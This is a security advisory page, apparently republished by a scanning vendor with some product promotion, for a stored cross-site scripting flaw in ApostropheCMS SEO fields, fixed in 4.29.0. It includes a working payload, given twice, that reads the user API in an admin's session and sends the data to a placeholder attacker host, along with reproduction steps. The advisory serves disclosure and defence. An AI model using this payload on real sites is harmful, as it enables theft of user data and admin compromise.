GHSA-855c-r2vq-c292
HIGHGHSA-855c-r2vq-c292 is a high-severity (CVSS 8.7) vulnerability in apostrophe. O3 Security confirms whether GHSA-855c-r2vq-c292 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
apostrophenpmDescription
Summary
A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.
Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.
Affected Version
ApostropheCMS (tested on version: v4.28.0)
Vulnerability Details
User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:
<title><meta>attributes- structured data (JSON-LD)
This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.
PoC 1
The following payload demonstrates breaking out of HTML context:
"></title><script>alert(1)</script>
This confirms:
- Improper output encoding
- Ability to escape
<title> / <meta>contexts - Arbitrary script execution
PoC 2
This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.
"></title><script>
fetch('/api/v1/@apostrophecms/user', {
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
Video Proof of Concept
Watch the following YouTube video for a full demonstration of the exploit:
PoC Video: https://youtu.be/FZuulua_pa8
Steps to Reproduce
- Start a local listener:
python3 -m http.server 5656 - Login to ApostropheCMS as an authenticated user
- Create or edit a page
- Navigate to SEO settings
- Insert the payload into the SEO Title field and Meta Description
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
- Set Schema Type to "Web page"
- Save and publish the page
- Have an administrator visit the page
Result
-
The payload executes in the admin’s browser
-
The script sends a request to:
/api/v1/@apostrophecms/user -
The response contains sensitive user data:
- usernames
- email addresses
- roles (including admin)
-
The data is exfiltrated to the attacker-controlled server:
http://ATTACKER-IP:5656
Evidence
- The attacker server receives:
GET /?data=BASE64_ENCODED_RESPONSE
- Decoding the response reveals sensitive application data.
Security Impact
This vulnerability allows an attacker to:
- Execute arbitrary JavaScript in an authenticated admin context
- Perform authenticated API requests (session riding)
- Access sensitive application data via internal APIs
- Exfiltrate sensitive data to an external attacker-controlled server
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | 4.29.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update apostrophe to 4.29.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-855c-r2vq-c292 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-855c-r2vq-c292 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-855c-r2vq-c292. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-855c-r2vq-c292 in your dependencies?
O3 detects GHSA-855c-r2vq-c292 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.